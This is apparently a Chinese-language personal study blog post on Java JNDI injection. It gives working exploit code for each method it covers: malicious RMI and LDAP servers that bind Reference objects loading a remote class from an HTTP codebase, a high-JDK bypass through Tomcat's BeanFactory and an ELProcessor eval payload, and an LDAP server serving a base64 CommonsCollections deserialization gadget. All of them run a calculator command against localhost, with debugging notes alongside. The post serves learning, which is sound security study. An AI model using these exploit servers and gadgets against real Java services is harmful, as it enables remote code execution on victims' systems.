JNDI概述
是什么
JNDI全称Java Naming Diretory Interface ,java名称与目录接口,一个名字对应一个对象。他提供了统一的客户端API,由管理者将JNDI API映射为特定的目录服务和命名服务,为使用者查找和访问资源提供了统一的接口,可以用来的定义用户,网络,机器,对象和服务等各种资源。
命名服务:一个通过名称查找实际对象的服务
目录服务:目录服务在命名服务基础上扩展,允许为对象添加属性,支持通过属性组合筛选资源。例如,LDAP中用户对象可包含姓名、邮箱等属性。
SPI(Service Provider Interface):即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。
JDK 中包含了下述内置的命名目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用
- LDAP: 轻量级目录访问协议
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
- DNS(域名转换协议)
代码实现
1 2
| Context ctx = new InitialContext(); MyService service = (MyService) ctx.lookup("rmi://server/MyService");
|
JNDI攻击
JNDI结合RMI
在之前RMI项目基础上,客户端和服务端分别新建两个文件
JNDIRMIServer
1 2 3 4 5 6 7 8 9 10 11
| import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); } }
|
JNDIRMIClient
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
|
这样就能实现远程方法的调用,看起来很RMI很像,主要就是多了InitialContext
漏洞点
打个断点在客户端的lookup调试一下,看整个过程



流程是InitialContext.lookup()
->GenericURLContext.lookup()
->RegistryContext.lookup()
最后在RegistryContext的时候,可以看到this.registry
是RegistryImpl_Stub,这个之前已经分析过,所以可以说使用JNDI调用RMI服务的时候,最后还是会走到RMI到逻辑里,使用RMI有的漏洞JNDI也可以打
常见打法jndi reference
jndi注入漏洞,和调用的服务无关,rmi,ldap,dns等都存在这个问题
主要是服务端调用了一个Reference
,感觉像套了一层
看一下Reference的构造函数

第一个参数是类名,第二个参数是factory工厂(里面有代码逻辑),第三个参数是地址
先写一个恶意类生产class文件,然后在目录起一个http服务,让calc.class文件可以被访问到
1 2 3 4 5
| public class Calc { public Calc() throws Exception { Runtime.getRuntime().exec("open -a calculator"); } }
|
然后服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://localhost:8000/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
原来是
1
| initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
|
现在把new RemoteObjImpl()
改成reference
,感觉就像一层恶意的壳
现在再运行客户端,就成功弹计算机,再调试一下,看看怎么回事
比较特殊的是进到ResitryContext
里面有lookup,出来后下面有个decodeObject()
,此时有个var2参数是ReferenceWrapper_Stub
类型,是lookup返回的内容,也就是在rmi查询到的对象,但是服务端绑定的是Reference对象

所以会产生这个变化是因为服务端的rebind()
,调试看一下,断点打在服务端
1
| initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
|
跟到RegistryContext.rebind()
,里面有this.registry.rebind()
,传进去的参数中var2被encodeObject()
处理了

里面就把var1强制转换类型成ReferenceWrapper

继续回到客户端,就是有个decodeObject()
刚好对应,里面有一个判断把ReferenceWrapper转换会Rederence

然后重点在后面进入getObjectInstance()
一直到后面getObjectFactoryFromReference()
,用这个方法调用reference里面的factory

此时已经可以知道factory叫Calc

进到里面执行了类加载,用的loadClass,联系到之前类加载的URLClassloader,一直走到newInstance这一步弹出计算机

所以最后导致代码被利用的是NamingManager
这个类,这意味着我们的容器如果是别的格式的也是可以实现利用的
JNDI结合LDAP
之前通常是在域环境遇到ldap,
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
起一个ldap服务

然后服务端修改代码
1
| initialContext.rebind("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com", reference);
|
再看就已经成功绑定上了

然后再用客户端直接去lookup就行
1
| RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");
|
成功弹出计算机
也是跟进去,重点在后面LdapCtx.c_lookup()
,里面有一个decodeObject()
,算是解出ldap里面存的内容

走完出来就可以获取到要类加载的具体信息

再走到后面又是getObjectInstance()
但是调用的是DirectoryManager类的,流程是差不多的,这个类是漏网之鱼,修复时间比较晚
JNDI攻击高版本绕过
看一下高版本java修复了什么,这里用8u191

在loadclass()
里面多了一个判断,这时候trustURLCodebase
是false,所以进不去循环,没办法完成类加载
BeanFactory绕过
这里限制了用URLClassLoader,那我们思路改成用本地的类加载,利用本地的恶意类作为Reference factory
也就是说,在服务端本地找到恶意factory作为Reference factory进行攻击,这个恶意factory必须实现javax.naming.spi.ObjectFactory
接口,实现这个接口的getObjectInstance()
方法
救赎之道就是org.apache.naming.factory.BeanFactory
,他满足条件并且存在tomcat8里面,应用面比较广。
先看一下大佬给出的代码再理解吧
JNDIBypassHighJavaClient
1 2 3 4 5 6 7 8 9 10
| import javax.naming.Context; import javax.naming.InitialContext;
public class JNDIBypassHighJavaClient { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/Object"; Context context = new InitialContext(); context.lookup(uri); } }
|
JNDIBypassHighJavaServerRebind
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import org.apache.naming.ResourceRef; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIBypassHighJavaServerRebind { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.hostname", "127.0.0.1"); Registry registry = LocateRegistry.createRegistry(1099); InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a calculator')" ));
initialContext.rebind("rmi://127.0.0.1:1099/Object", resourceRef); System.out.println("RMI服务已启动,等待客户端连接..."); } }
|
我实验用了8u202版本,然后也加入了tomcat8依赖,运行之后就弹计算机了
调试看一下,前面的内容都差不多,走到了NamingManager.getObjectInstance()

可以看到现在进入getObjectFactoryFromReference()
里面带的reference是“org.apache.naming.factory.BeanFactory”,进到里面的loadclass会进行这个类加载

然后再判断clas(也就是和我们传的factory有关)是否实现了ObjectFactory
接口,接着进入newInstance()

再到getObjectInstance()
里面回先判断obj是不是ResourceRef实例,是的话才能继续走下去
这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

经过一系列操作,loadclass,获取到beanclass是javax.el.ELProcessor
,实例化他,然后获取里面forceString
的值,也就是我们构造的x=eval
继续往下调试可以看到,查找 forceString
的内容中是否存在”=”号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,之前设置的 forceString
的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了,这是 BeanFactory
类能进行利用的关键点!之后,就是获取 beanClass 即 javax.el.ELProcessor
类的 eval() 方法并和 x 属性一同缓存到 forced 这个 HashMap 中:

(4.23更新)getObjectInstance()
后面这些操作对应到前面服务端的代码意思大概是
1 2 3 4
| resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a calculator')" ));
|
后面就是多个dowhile语句,遍历获取ResourceRef实例addr属性的值,获取到addrType的值为x时退出当前循环,然后调用getContent()
获取我们传进去的恶意表达式

然后从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后带着这些参数走到invoke,实现反射调用执行

还是好理解的,不能用远程的,那就找到一个本地的去用,但是服务端resourceRef.add()
里面写的详细内容,说实话不是理解的很透彻,大概设计el表达式,这块现在还不太懂,可能后面学了再看会清晰很多,这里先留个钩子
这里服务端还有另一个写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIBypassHighJava { public static void main(String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099"); Registry registry = LocateRegistry.createRegistry( 1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")")); System.out.println("[*]Evil command: calc"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
|
主要差别是这个
1
| ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));
|
差不多也是反射调用命令执行,但是没有外层的eval也是没用,目前个人认为这个没有直接写Runtime方便
(4.23更新)本来今天想要写一个用ldap实现绕过的,就在上面的方法换个ldap的壳,实践发现在服务端把ResourceRef和ldap绑到一起,到客户端获取数据的过程(主要是Obj.decodeObject()方法,不是很确定),会把对象变成Reference类,这会导致进入BeanFactory.getObjectInstance()方法后就被卡在第一句的类型判断,直接没得玩。
问了ai,这个问题似乎无解,rmi和ldap两个方式进入的decodeObject不是同一个,留个钩子,等明天请教一下大佬。
利用LDAP返回序列化数据绕过
LDAP服务端除了返回JNDI Reference这种方法之外,还可以通过返回序列化的对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject()
方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
所以写一个ldap服务器,里面加入gadget内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64;
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:39876/#Evil"; int port = 39654;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4A" + "GHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIGNhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==")); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
然后客户端执行lookup也能弹计算机
这里有一款工具自动化很方便 https://github.com/rebeyond/JNDInjector.git

看一下代码,前面都是一样的,进入到decodeObject()
->getURLClassLoader()

里面依然有对trustURLCodebase的判断,结果是false

但是回到decodeObject里面有一个deserializeObject()
,里面有readObejct()
就是用来反序列化的,而且我们也有了字节码,所以这样也能攻击成功。

参考
【从文档开始的jndi注入之路-2 jndi+ldap绕过】https://www.bilibili.com/video/BV1JY411F7mA?vd_source=46e5237289ae6c1a3c7bcab6091e42a6
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://github.com/bfengj/CTF/blob/main/Web/java/JNDI/%5BJava%E5%AE%89%E5%85%A8%5D%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0.md
碎碎念
诶其实还有好多别的做法,现在先摸个皮毛,差不多了解这个思想,以后遇到更深的再接触